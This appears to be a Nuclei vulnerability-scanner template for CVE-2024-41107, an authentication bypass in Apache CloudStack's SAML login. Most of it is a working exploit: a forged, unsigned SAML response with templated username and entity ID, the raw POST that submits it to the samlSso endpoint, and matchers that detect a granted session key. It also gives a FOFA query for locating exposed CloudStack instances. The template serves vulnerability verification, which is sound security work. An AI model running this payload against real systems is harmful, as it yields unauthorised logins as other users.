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id: CVE-2024-41107
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info:
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name: Apache CloudStack - SAML Signature Exclusion
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author: iamnoooob,rootxharsh,pdresearch
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severity: critical
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description: |
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The CloudStack SAML authentication (disabled by default) does not enforce signature check. In CloudStack environments where SAML authentication is enabled, an attacker that initiates CloudStack SAML single sign-on authentication can bypass SAML authentication by submitting a spoofed SAML response with no signature and known or guessed username and other user details of a SAML-enabled CloudStack user-account
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2024-41107
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- http://www.openwall.com/lists/oss-security/2024/07/19/1
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- http://www.openwall.com/lists/oss-security/2024/07/19/2
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- https://cloudstack.apache.org/blog/security-release-advisory-cve-2024-41107
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- https://github.com/apache/cloudstack/issues/4519
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classification:
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epss-score: 0.00046
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epss-percentile: 0.16798
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metadata:
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verified: true
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max-request: 1
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fofa-query: app="APACHE-CloudStack"
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tags: cve,cve2024,apache,cloudstack,auth-bypass
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variables:
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username: "{{username}}"
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entityid: "{{entityid}}"
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saml_id: "{{saml_id}}"
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saml: '<?xml version="1.0" encoding="UTF-8"?><samlp:Response Destination="{{RootURL}}/client/api?command=samlSso" ID="_b0389fca0ea65fe8e857" InResponseTo="{{saml_id}}" IssueInstant="2024-07-30T10:48:20.307Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{{entityid}}</saml:Issuer> <samlp:Status xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" /> </samlp:Status> <saml:Assertion ID="_7a2993514112bbc72696" IssueInstant="2024-07-30T10:58:20.307Z" Version="2.0" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema"> <saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">{{entityid}}</saml:Issuer> <saml:Conditions NotBefore="2024-07-30T10:43:20.307Z" NotOnOrAfter="2024-07-30T10:53:20.307Z" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:AudienceRestriction> <saml:Audience>org.apache.cloudstack</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2024-07-30T10:48:20.307Z" SessionIndex="{{saml_id}" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:AuthnContext> <saml:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"> <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">{{username}}</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion></samlp:Response>'
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http:
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- raw:
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- |
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POST /client/api?command=samlSso HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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RelayState=undefined&SAMLResponse={{urlencode(base64(saml))}}
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matchers-condition: and
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matchers:
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- type: dsl
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dsl:
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- "contains(header,'sessionkey')"
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- "contains(content_type,'text/xml')"
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- "status_code==302"
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condition: and
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